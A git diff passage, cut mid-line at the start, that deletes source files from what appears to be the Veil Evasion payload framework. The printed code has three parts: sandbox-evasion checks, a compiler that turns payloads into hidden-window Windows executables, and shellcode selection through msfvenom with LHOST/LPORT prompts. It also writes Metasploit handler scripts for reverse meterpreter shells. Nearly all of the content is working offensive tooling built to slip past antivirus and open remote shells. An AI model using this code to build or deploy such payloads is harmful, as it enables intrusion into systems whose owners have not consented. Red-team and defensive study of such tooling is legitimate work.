'if ' + point_var1 + '.x - ' + point_var2 + '.x == 0 && ' + point_var1 + '.y - ' + point_var2 + '.y == 0 {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["DISKSIZE"][0].lower() != 'x': - - min_disk_size = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - getDiskFreeSpaceEx = evasion_helpers.randomString() - lpFreeBytesAvailable = evasion_helpers.randomString() - lpTotalNumberOfBytes = evasion_helpers.randomString() - lpTotalNumberOfFreeBytes = evasion_helpers.randomString() - cur_disk_size = evasion_helpers.randomString() - - check_code += min_disk_size + ' := float32(' + evasion_payload.required_options["DISKSIZE"][0] + ')\n' - check_code += 'var ' + kernel32 + ' = syscall.NewLazyDLL("kernel32.dll")\n' - check_code += 'var ' + getDiskFreeSpaceEx + ' = ' + kernel32 + '.NewProc("GetDiskFreeSpaceExW")\n' - check_code += lpFreeBytesAvailable + ' := int64(0)\n' - check_code += '\t' + lpTotalNumberOfBytes + ' := int64(0)\n' - check_code += '\t' + lpTotalNumberOfFreeBytes + ' := int64(0)\n' - check_code += getDiskFreeSpaceEx + '.Call(\n' - check_code += '\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))),\n' - check_code += '\tuintptr(unsafe.Pointer(&' + lpFreeBytesAvailable + ')),\n' - check_code += '\tuintptr(unsafe.Pointer(&' + lpTotalNumberOfBytes + ')),\n' - check_code += '\tuintptr(unsafe.Pointer(&' + lpTotalNumberOfFreeBytes + ')))\n' - check_code += cur_disk_size + ' := float32(' + lpTotalNumberOfBytes + ')/1073741824\n' - check_code += 'if (' + cur_disk_size + ' > ' + min_disk_size + ') {\n' - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - else: - return '', 0 diff --git a/Tools/Evasion/evasion_common/outfile.py b/Tools/Evasion/evasion_common/outfile.py deleted file mode 100644 index 149e9cb..0000000 --- a/Tools/Evasion/evasion_common/outfile.py +++ /dev/null @@ -1,416 +0,0 @@ -""" -This file helps "compilation" of source code -""" - -import hashlib -import os -import sys -from tools.evasion.evasion_common import evasion_helpers -from lib.common import helpers - - -# Try to find and import the settings.py config file -try: - sys.path.append("/etc/veil/") - import settings - -except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) - sys.exit() - - -def compiler(payload_object, invoked=False, cli_object=None): - # Check the source code to ensure it is present - if payload_object.payload_source_code == '': - print(helpers.color("\n [!] ERROR: No payload source code provided.\n", warning=True)) - return False - else: - # print title bar - evasion_helpers.title_screen() - - if not invoked: - # Determine the file name to use for output - file_name = input('Please enter the base name for output files (default is payload): ').strip() - else: - file_name = cli_object.o - - # Basic checks on input - while file_name != '' and ("\\" in file_name or "/" in file_name): - print(helpers.color("\nPlease provide a base name, not a path, for the output base\n", warning=True)) - file_name = input('Please enter the base name for output files (default is payload): ').strip() - - # If no base name, set it to be payload - if file_name == '': - file_name = 'payload' - - # run check to make sure file doesn't exist, if it does - # provide a new filename - file_name = find_file_name(file_name, payload_object) - source_code_filepath = settings.PAYLOAD_SOURCE_PATH + file_name + "." + payload_object.extension - # Used when outputting exe files, go figure - executable_filepath = settings.PAYLOAD_COMPILED_PATH + file_name + ".exe" - - if payload_object.language is not "native" and payload_object.extension is not "war": - with open(source_code_filepath, 'w') as source_file: - source_file.write(payload_object.payload_source_code) - - if payload_object.language == 'python': - if not invoked: - compile_method = '' - else: - compile_method = cli_object.compiler - # Check extension for war or normal python file - if payload_object.extension == 'py': - if settings.OPERATING_SYSTEM == "Windows": - compile_method = 'py2exe' - else: - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y' and not invoked: - evasion_helpers.title_screen() - # if we have a linux distro, continue... - # Determine if the user wants Pyinstaller, Pwnstaller, or Py2Exe. - print('\n [?] How would you like to create your payload executable?\n') - print(' %s - Pyinstaller %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) - print(' %s - Py2Exe\n' % (helpers.color('2'))) - - user_compile_choice = input(" [>] Please enter the number of your choice: ") - if user_compile_choice == "1" or user_compile_choice == "": - compile_method = "pyinstaller" - elif user_compile_choice == "2": - compile_method = "py2exe" - else: - compile_method = "pyinstaller" - - if compile_method == 'py2exe' and payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Generate setup.py File for Py2Exe - with open(settings.PAYLOAD_SOURCE_PATH + '/setup.py', 'w') as setup_file: - setup_file.write("from distutils.core import setup\n") - setup_file.write("import py2exe, sys, os\n\n") - setup_file.write("setup(\n") - setup_file.write("\toptions = {'py2exe': {'bundle_files': 1}},\n") - setup_file.write("\tzipfile = None,\n") - setup_file.write("\twindows=['" + file_name + ".py']\n") - setup_file.write(")") - - # Generate Batch script for Compiling on Windows Using Py2Exe - with open(settings.PAYLOAD_SOURCE_PATH + '/runme.bat', 'w') as runme_file: - runme_file.write('rem Batch Script for compiling python code into an executable\n') - runme_file.write('rem on windows with py2exe\n') - runme_file.write('rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n') - runme_file.write("python setup.py py2exe\n") - runme_file.write('cd dist\n') - runme_file.write('move ' + file_name + '.exe ../\n') - runme_file.write('cd ..\n') - runme_file.write('rmdir /S /Q build\n') - runme_file.write('rmdir /S /Q dist\n') - - evasion_helpers.title_screen() - print_payload_information(payload_object) - print(helpers.color("\npy2exe files 'setup.py' and 'runme.bat' written to:\n" + settings.PAYLOAD_SOURCE_PATH + "\n")) - - else: - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Used for PyInstaller standard - # copy the pyinstaller runw to maintain its integrity in the event - # pwnstaller is added in for python3 - this will future proof it - runw_path = settings.VEIL_EVASION_PATH + 'tools/evasion/evasion_common/tools/runw.orig.exe' - os.system("cp " + runw_path + " " + settings.PYINSTALLER_PATH + "/PyInstaller/bootloader/Windows-32bit/runw.exe") - - # Validate python is installed in wine - if not os.path.isfile(settings.WINEPREFIX + 'drive_c/Python34/python.exe'): - print(helpers.color("\n [!] ERROR: Can't find python.exe in " + os.path.expanduser(settings.WINEPREFIX + 'drive_c/Python34/'), warning=True)) - print(helpers.color(" [!] ERROR: Make sure the python.exe binary exists before using PyInstaller.", warning=True)) - sys.exit(1) - - random_key = evasion_helpers.randomString() - os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Python34/python.exe' + ' ' + os.path.expanduser(settings.PYINSTALLER_PATH + '/pyinstaller.py') + ' --onefile --noconsole --key ' + random_key + ' ' + source_code_filepath) - - evasion_helpers.title_screen() - - if os.path.isfile('dist/' + file_name + ".exe"): - os.system('mv dist/' + file_name + ".exe " + settings.PAYLOAD_COMPILED_PATH) - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(settings.PAYLOAD_COMPILED_PATH + file_name + ".exe")) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - - os.system('rm -rf dist') - os.system('rm -rf build') - os.system('rm -f *.spec') - os.system('rm -f logdict*.*') - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.extension == 'war': - path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension - with open(path_here, 'wb') as source_file: - source_file.write(payload_object.payload_source_code) - # Ensure that war file was written to disk - if os.path.isfile(path_here): - hash_executable(path_here, file_name) - print_payload_information(payload_object) - print(" [*] WAR file written to: " + helpers.color(source_code_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create WAR file.", warning=True)) - - else: - print(helpers.color(" [!] ERROR: Invalid python extension in payload module.\n", warning=True)) - - elif payload_object.language == 'ruby': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ruby.exe ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ocra --windows '+ source_code_filepath + ' --output ' + executable_filepath + ' ' + settings.WINEPREFIX + '/drive_c/Ruby187/lib/ruby/gems/1.8/gems/win32-api-1.4.8-x86-mingw32/lib/win32/*') - - evasion_helpers.title_screen() - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'powershell': - evasion_helpers.title_screen() - print_payload_information(payload_object) - print(" [*] PowerShell doesn't compile, so you just get text :)") - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'perl': - print_payload_information(payload_object) - print("\nPerl can't currently be compiled in Linux. Install on Windows:") - print("https://www.veil-framework.com/perl-of-no-hope-january-v-day-2016/") - print("Command: pp -gui -o ") - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'native': - # set path for native payload executable output - path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension - with open(path_here, 'wb') as source_file: - source_file.write(payload_object.payload_source_code) - # Ensure executables was written to disk - if os.path.isfile(path_here): - hash_executable(path_here, file_name) - print_payload_information(payload_object) - print(" [*] Exe file written to: " + helpers.color(path_here)) - else: - print(helpers.color(" [!] ERROR: Unable to create Exe file.", warning=True)) - - elif payload_object.language == 'lua': - print_payload_information(payload_object) - print(" [*] Lua currently doesn't compile in linux, so you just get text :)") - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'go': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Compile go payload - os.system('env GOROOT=/usr/local/go GOOS=windows GOARCH=386 /usr/bin/go build -ldflags "-s -w -H=windowsgui" -v -o ' + executable_filepath + ' ' + source_code_filepath) - - evasion_helpers.title_screen() - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'cs': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run - os.system('mcs -platform:x86 -target:winexe ' + source_code_filepath + ' -out:' + executable_filepath) - - evasion_helpers.title_screen() - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'c': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run - os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows ' + source_code_filepath + ' -o ' + executable_filepath + " -lwsock32") - - evasion_helpers.title_screen() - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'autoit': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Compile autoit code - os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + 'drive_c/Program\ Files/AutoIt3/Aut2Exe/Aut2exe.exe /in ' + source_code_filepath + ' /out ' + executable_filepath + ' /comp 2 /nopack') - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - else: - print(helpers.color("\n [!] ERROR: Invalid payload language in payload module.\n", warning=True)) - return False - - if invoked: - handler_code_generator(payload_object, file_name, invoked=True, cli_obj=cli_object) - else: - handler_code_generator(payload_object, file_name) - if os.path.isfile(settings.HANDLER_PATH + file_name + '.rc'): - print(" [*] Metasploit RC file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) - - if not invoked: - dummy = input('\nPlease press enter to continue >: ') - - # End of if statement checking to make sure payload_source_code is - # not empty - - return True - - -def find_file_name(payload_name, selected_payload_object): - # Assume file exists until we can verify it doesn't - filename_exists = True - counter = 0 - first_time = True - while filename_exists: - if first_time: - if not os.path.isfile(settings.PAYLOAD_SOURCE_PATH + payload_name + "." + selected_payload_object.extension) and not os.path.isfile(settings.PAYLOAD_COMPILED_PATH + payload_name + "." + selected_payload_object.extension): - filename_exists = False - else: - counter += 1 - first_time = False - else: - if not os.path.isfile(settings.PAYLOAD_SOURCE_PATH + payload_name + str(counter) + "." + selected_payload_object.extension) and not os.path.isfile(settings.PAYLOAD_COMPILED_PATH + payload_name + str(counter) + "." + selected_payload_object.extension): - filename_exists = False - else: - counter += 1 - if first_time: - return payload_name - else: - return payload_name + str(counter) - - -def handler_code_generator(selected_payobject, handler_name, invoked=False, cli_obj=None): - lhost_value = '' - lport_value = '' - rhost_value = '' - payload_used = '' - skip_handler = False - - if selected_payobject.language != "native" and selected_payobject.extension != "war": - if 'shellcode_inject' in selected_payobject.path: - # Parse the object to generate the payload - if type(selected_payobject.shellcode.shellcode_options) is dict or invoked: - if selected_payobject.payload_type == 'rev_tcp': - payload_used = 'windows/meterpreter/reverse_tcp' - elif selected_payobject.payload_type == 'rev_http': - payload_used = 'windows/meterpreter/reverse_http' - elif selected_payobject.payload_type == 'rev_https': - payload_used = 'windows/meterpreter/reverse_https' - elif selected_payobject.payload_type == 'rev_tcp_dns': - payload_used = 'windows/meterpreter/reverse_tcp_dns' - elif selected_payobject.payload_type == 'rev_tcp_all_ports': - payload_used = 'windows/meterpreter/reverse_tcp_allports' - elif selected_payobject.payload_type == 'bind_tcp': - payload_used = 'windows/meterpreter/bind_tcp' - - if invoked: - if cli_obj.ordnance_payload is not None and cli_obj.ordnance_payload.lower() == 'bind_tcp': - rhost_value = cli_obj.ip - else: - lhost_value = cli_obj.ip - lport_value = str(cli_obj.port) - else: - if 'LHOST' in selected_payobject.shellcode.shellcode_options: - lhost_value = selected_payobject.shellcode.shellcode_options['LHOST'] - if 'LPORT' in selected_payobject.shellcode.shellcode_options: - lport_value = selected_payobject.shellcode.shellcode_options['LPORT'] - if 'RHOST' in selected_payobject.shellcode.shellcode_options: - rhost_value = selected_payobject.shellcode.shellcode_options['RHOST'] - - else: - # parse msfvenom command - payload_used = selected_payobject.payload_type - - split_msf_command = selected_payobject.shellcode.shellcode_options.split() - for option in split_msf_command: - if 'LHOST' in option: - lhost_value = option.split('=')[1] - elif 'LPORT' in option: - lport_value = option.split('=')[1] - elif 'RHOST' in option: - rhost_value = option.split('=')[1] - - elif 'meterpreter' in selected_payobject.path: - # Determine payload type - if 'bind_tcp' in selected_payobject.path: - payload_used = 'windows/meterpreter/bind_tcp' - elif 'rev_tcp' in selected_payobject.path: - payload_used = 'windows/meterpreter/reverse_tcp' - elif 'rev_https' in selected_payobject.path: - payload_used = 'windows/meterpreter/reverse_https' - elif 'rev_http' in selected_payobject.path: - payload_used = 'windows/meterpreter/reverse_http' - - # Grab LHOST or RHOST and LPORT values - if 'LHOST' in selected_payobject.required_options: - lhost_value = selected_payobject.required_options['LHOST'][0] - if 'RHOST' in selected_payobject.required_options: - rhost_value = selected_payobject.required_options['RHOST'][0] - if 'LPORT' in selected_payobject.required_options: - lport_value = selected_payobject.required_options['LPORT'][0] - - # Generate the handler file - handler_text = 'use exploit/multi/handler\n' - handler_text += 'set PAYLOAD ' + payload_used + '\n' - if lhost_value: - handler_text += 'set LHOST ' + lhost_value + '\n' - elif rhost_value: - handler_text += 'set RHOST ' + rhost_value + '\n' - else: - print(helpers.color("\nError generating handler code, giving up on creating the .rc file\n", warning=True)) - skip_handler = True - handler_text += 'set LPORT ' + str(lport_value) + '\n' - handler_text += 'set ExitOnSession false\n' - handler_text += 'exploit -j' - - if not skip_handler: - with open(settings.HANDLER_PATH + handler_name + '.rc', 'w') as handler_out: - handler_out.write(handler_text) - else: - # we do nothing since no handler file is made for native payloads - pass - return - - -def hash_executable(exe_path, file_name): - # Read executable, hash it, and store in file - with open(exe_path, 'rb') as get_hash: - exe_contents = get_hash.read() - - sha1_hasher = hashlib.sha1() - sha1_hasher.update(exe_contents) - sha1_hash = sha1_hasher.hexdigest() - - # Write hashed value to file - with open(settings.HASH_LIST, 'a') as hash_file: - hash_file.write(sha1_hash + ":" + file_name + "\n") - - return - - -def print_payload_information(pay_object): - print(' [*] Language: ' + helpers.color(pay_object.language)) - print(' [*] Payload Module: ' + helpers.color(pay_object.path)) - return diff --git a/Tools/Evasion/evasion_common/shellcode_help.py b/Tools/Evasion/evasion_common/shellcode_help.py deleted file mode 100644 index 7481f78..0000000 --- a/Tools/Evasion/evasion_common/shellcode_help.py +++ /dev/null @@ -1,569 +0,0 @@ -""" -Contains main Shellcode class as well as the Completer class used -for tab completion of metasploit payload selection. -""" - -# Import Modules -import socket -import os -import readline -import subprocess -import binascii -import sys - -from lib.common import helpers -from tools.evasion.evasion_common import evasion_helpers -from lib.common import completer - - -# Try to find and import the settings.py config file -try: - sys.path.append("/etc/veil/") - import settings - -except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) - sys.exit() - - -sys.path.insert(0, settings.VEIL_EVASION_PATH + 'tools/ordnance') -import tool as ordnance_import - - -class Shellcode: - """ - Class that represents a shellcode object, custom of msfvenom generated. - - """ - def __init__(self, cli_obj): - # the nested dictionary passed to the completer - self.payload_tree = {} - # the entier msfvenom command that may be built - self.msfvenomCommand = "" - # any associated msfvenom options - self.msfvenom_options = list() - # in case user specifies a custom shellcode string - self.custom_shellcode = "" - # specific msfvenom payload specified - self.msfvenompayload = "" - # misc options - self.options = list() - # required options - self.required_options = list() - # load up all the metasploit modules available - self.LoadModules() - # Used when Ordnance generates shellcode - self.invoke_ordnance = False - self.ord_lhost = None - self.ord_lport = None - # Load cli options - self.cli_options = cli_obj - self.payload_choice = '' - self.shellcode_options = '' - - def Reset(self): - """ - reset the state of any internal variables, everything but self.payload_tree - """ - self.msfvenomCommand = "" - self.msfvenom_options = list() - self.custom_shellcode = "" - self.msfvenompayload = "" - self.options = list() - - def LoadModules(self): - """ - Crawls the metasploit install tree and extracts available payloads - and their associated required options for languages specified. - - """ - - # Variable changed for compatibility with non-root and non-Kali users - # Thanks to Tim Medin for the patch - msfFolder = settings.METASPLOIT_PATH - - # I can haz multiple platforms? - platforms = ["windows"] - - for platform in platforms: - self.payload_tree[platform] = {} - - stagesX86 = list() - stagesX64 = list() - - # load up all the stages (meterpreter/vnc/etc.) - # TODO: detect Windows and modify the paths appropriately - for root, dirs, files in os.walk(settings.METASPLOIT_PATH + "/modules/payloads/stages/" + platform + "/"): - for f in files: - stageName = f.split(".")[0] - if "x64" in root: - stagesX64.append(f.split(".")[0]) - if "x64" not in self.payload_tree[platform]: - self.payload_tree[platform]["x64"] = {} - self.payload_tree[platform]["x64"][stageName] = {} - elif "x86" in root: # linux payload structure format - stagesX86.append(f.split(".")[0]) - if "x86" not in self.payload_tree[platform]: - self.payload_tree[platform]["x86"] = {} - self.payload_tree[platform]["x86"][stageName] = {} - else: # windows payload structure format - stagesX86.append(f.split(".")[0]) - if stageName not in self.payload_tree[platform]: - self.payload_tree[platform][stageName] = {} - - # load up all the stagers (reverse_tcp, bind_tcp, etc.) - # TODO: detect Windows and modify the paths appropriately - for root, dirs, files in os.walk(settings.METASPLOIT_PATH + "/modules/payloads/stagers/" + platform + "/"): - for f in files: - - if ".rb" in f: - extraOptions = list() - moduleName = f.split(".")[0] - lines = open(root + "/" + f).readlines() - for line in lines: - if "OptString" in line.strip() and "true" in line.strip(): - cmd = line.strip().split(",")[0].replace("OptString.new(","")[1:-1] - extraOptions.append(cmd) - if "bind" in f: - if "x64" in root: - for stage in stagesX64: - self.payload_tree[platform]["x64"][stage][moduleName] = ["LPORT"] + extraOptions - elif "x86" in root: - for stage in stagesX86: - self.payload_tree[platform]["x86"][stage][moduleName] = ["LPORT"] + extraOptions - else: - for stage in stagesX86: - self.payload_tree[platform][stage][moduleName] = ["LPORT"] + extraOptions - if "reverse" in f: - if "x64" in root: - for stage in stagesX64: - self.payload_tree[platform]["x64"][stage][moduleName] = ["LHOST", "LPORT"] + extraOptions - elif "x86" in root: - for stage in stagesX86: - self.payload_tree[platform]["x86"][stage][moduleName] = ["LHOST", "LPORT"] + extraOptions - else: - for stage in stagesX86: - self.payload_tree[platform][stage][moduleName] = ["LHOST", "LPORT"] + extraOptions - - # load up any payload singles - # TODO: detect Windows and modify the paths appropriately - for root, dirs, files in os.walk(settings.METASPLOIT_PATH + "/modules/payloads/singles/" + platform + "/"): - for f in files: - - if ".rb" in f: - - with open(root + "/" + f) as ruby_file: - lines = ruby_file.readlines() - totalOptions = list() - moduleName = f.split(".")[0] - - for line in lines: - if "OptString" in line.strip() and "true" in line.strip(): - cmd = line.strip().split(",")[0].replace("OptString.new(","")[1:-1] - totalOptions.append(cmd) - if "bind" in f: - totalOptions.append("LPORT") - if "reverse" in f: - totalOptions.append("LHOST") - totalOptions.append("LPORT") - if "x64" in root: - self.payload_tree[platform]["x64"][moduleName] = totalOptions - elif "x86" in root: - self.payload_tree[platform]["x86"][moduleName] = totalOptions - else: - self.payload_tree[platform][moduleName] = totalOptions - return - - def payload_selection_menu(self, showTitle=True): - """ - Menu to prompt the user for a custom shellcode string. - - Returns None if nothing is specified. - """ - - # print out the main title to reset the interface - if showTitle: - evasion_helpers.title_screen() - - print(' [?] Generate or supply custom shellcode?\n') - print(' %s - Ordnance %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) - print(' %s - MSFVenom' % (helpers.color('2'))) - print(' %s - custom shellcode string' % (helpers.color('3'))) - print(' %s - file with shellcode (\\x41\\x42..)' % (helpers.color('4'))) - print(' %s - binary file with shellcode\n' % helpers.color('5')) - - try: - choice = self.required_options['SHELLCODE'][0].lower().strip() - print(" [>] Please enter the number of your choice: %s" % (choice)) - except: - choice = input(" [>] Please enter the number of your choice: ").strip() - - if choice == '4': - # instantiate our completer object for path completion - comp = completer.PathCompleter() - - # we want to treat '/' as part of a word, so override the delimiters - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - # if the shellcode is specicified as a raw file - filePath = input(" [>] Please enter the path to your shellcode file: ") - - try: - with open(filePath, 'r') as shellcode_file: - file_shellcode = shellcode_file.read() - file_shellcode = file_shellcode.strip() - except: - print(helpers.color(" [!] WARNING: path not found, defaulting to msfvenom!", warning=True)) - return None - - if len(file_shellcode) == 0: - print(helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) - return None - - # check if the shellcode was passed in as string-escaped form - if file_shellcode[0:2] == "\\x" and file_shellcode[4:6] == "\\x": - return file_shellcode - else: - # otherwise encode the raw data as a hex string - hexString = binascii.hexlify(file_shellcode) - file_shellcode = "\\x"+"\\x".join([hexString[i:i + 2] for i in range(0, len(hexString), 2)]) - return file_shellcode - - # remove the completer - readline.set_completer(None) - - elif choice == '5': - # instantiate our completer object for path completion - comp = completer.PathCompleter() - - # we want to treat '/' as part of a word, so override the delimiters - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - # if the shellcode is specicified as a raw file - filePath = input(" [>] Please enter the path to your binary file: ") - - try: - with open(filePath, 'rb') as shellcode_file: - file_shellcode = shellcode_file.read() - - except: - print(helpers.color(" [!] WARNING: path not found, defaulting to msfvenom!", warning=True)) - return None - - if len(file_shellcode) == 0: - print(helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) - return None - - binary_code = '' - # Convert from binary to shellcode - for byte in file_shellcode: - binary_code += "\\x" + hex(byte)[2:].zfill(2) - return binary_code - - elif choice == '3' or choice == 'string': - # if the shellcode is specified as a string - cust_sc = input(" [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): ") - if len(cust_sc) == 0: - print(helpers.color(" [!] WARNING: no shellcode specified, defaulting to msfvenom!", warning=True)) - return cust_sc - - elif choice == '' or choice == '1' or choice.lower() == 'veil-ordnance' or choice.lower() == 'ordnance': - return 'ordnance' - - elif choice == '2' or choice.lower() == 'msf' or choice.lower() == 'metasploit' or choice.lower() == 'msfvenom': - return None - - else: - print(helpers.color(" [!] WARNING: Invalid option chosen, defaulting to Ordnance!", warning=True)) - return 'ordnance' - - def menu(self): - """ - Main interactive menu for shellcode selection. - - Utilizes Completer() to do tab completion on - loaded metasploit payloads. - """ - selected_payload = None - options = None - showMessage = False - if settings.TERMINAL_CLEAR != "false": - showMessage = True - - # if no generation method has been selected yet - if self.msfvenomCommand == "" and self.custom_shellcode == "": - - # show banner? - if settings.TERMINAL_CLEAR != "false": - showMessage = True - - # prompt for custom shellcode or msfvenom - custom_shellcode = self.payload_selection_menu(showMessage) - - # if custom shellcode is specified, set it - if custom_shellcode == "ordnance": - # Start figuring out Ordnance stuff here - self.invoke_ordnance = True - - elif custom_shellcode: - self.custom_shellcode = custom_shellcode - - # else, if no custom shellcode is specified, prompt for metasploit - else: - - # instantiate our completer object for tab completion of available payloads - comp = completer.MSFCompleter(self.payload_tree) - - # we want to treat '/' as part of a word, so override the delimiters - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - # have the user select the payload - while selected_payload is None: - - print('\n [*] Press %s for windows/meterpreter/reverse_tcp' % helpers.color('[enter]', yellow=True)) - print(' [*] Press %s to list available payloads' % helpers.color('[tab]', yellow=True)) - - try: - selected_payload = self.required_options['MSF_PAYLOAD'][0] - print(' [>] Please enter metasploit payload: %s' % (selected_payload)) - except: - selected_payload = input(' [>] Please enter metasploit payload: ').strip().lower() - - if selected_payload == "": - # default to reverse_tcp for the payload - selected_payload = "windows/meterpreter/reverse_tcp" - try: - parts = selected_payload.split("/") - # walk down the selected parts of the payload tree to get to the options at the bottom - options = self.payload_tree - for part in parts: - options = options[part] - - except KeyError: - # make sure user entered a valid payload - if 'PAYLOAD' in self.required_options: - del self.required_options['PAYLOAD'] - print(helpers.color(" [!] ERROR: Invalid payload specified!\n", warning=True)) - selected_payload = None - - # remove the tab completer - readline.set_completer(None) - - # set the internal payload to the one selected - self.msfvenompayload = selected_payload - - # request a value for each required option - for option in options: - value = "" - while value == "": - - ### VALIDATION ### - # LHOST is a special case, so we can tab complete the local IP - if option == "LHOST": - - try: - value = self.required_options['LHOST'][0] - print(' [>] Enter value for \'LHOST\', [tab] for local IP: %s' % (value)) - except: - # set the completer to fill in the local IP - readline.set_completer(completer.IPCompleter().complete) - value = input(' [>] Enter value for \'LHOST\', [tab] for local IP: ').strip() - - if '.' in value: - - hostParts = value.split(".") - if len(hostParts) > 1: - - # if the last chunk is a number, assume it's an IP address - if hostParts[-1].isdigit(): - - # do a IP validation check - if not helpers.validate_ip(value): - if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' - print(helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True)) - value = "" - - # otherwise assume we've been passed a domain name - else: - if not helpers.validate_hostname(value): - if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' - print(helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True)) - value = "" - - # if we don't have at least one period in the hostname/IP - else: - if 'LHOST' in self.required_options: - del self.required_options['LHOST'] - print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) - value = "" - - elif ':' in value: - try: - socket.inet_pton(socket.AF_INET6, value) - except socket.error: - if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' - print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) - value = "" - - else: - if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' - print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) - value = "" - - elif option == "LPORT": - try: - value = self.required_options['LPORT'][0] - print(' [>] Enter value for \'LPORT\': %s' % (value)) - except: - # set the completer to fill in the default MSF port (4444) - readline.set_completer(completer.MSFPortCompleter().complete) - value = input(' [>] Enter value for \'LPORT\': ').strip() - - try: - if int(value) <= 0 or int(value) >= 65535: - print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) - if 'LPORT' in self.required_options: - self.required_options['LPORT'][0] = '' - value = "" - except ValueError: - print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) - if 'LPORT' in self.required_options: - self.required_options['LPORT'][0] = '' - value = "" - - else: - value = input(' [>] Enter value for \'' + option + '\': ').strip() - - # append all the msfvenom options - self.msfvenom_options.append(option + "=" + value) - - # allow the user to input any extra OPTION=value pairs - extra_msf_options = list() - while True: - # clear out the tab completion - readline.set_completer(completer.none().complete) - selection = input(' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 or -OPTION2=value2): ').strip() - if selection != "": - num_extra_options = selection.split(' ') - for xtra_opt in num_extra_options: - if xtra_opt is not '': - if "=" not in xtra_opt: - print(helpers.color(" [!] Parameter not entered in correct syntax.\n", warning=True)) - continue - if "-" in xtra_opt.split('=')[0]: - final_opt = xtra_opt.split('=')[0] + " " + xtra_opt.split('=')[1] - extra_msf_options.append(final_opt) - else: - final_opt = xtra_opt.split('=')[0] + "=" + xtra_opt.split('=')[1] - extra_msf_options.append(final_opt) - else: - break - - # grab any specified msfvenom options in the 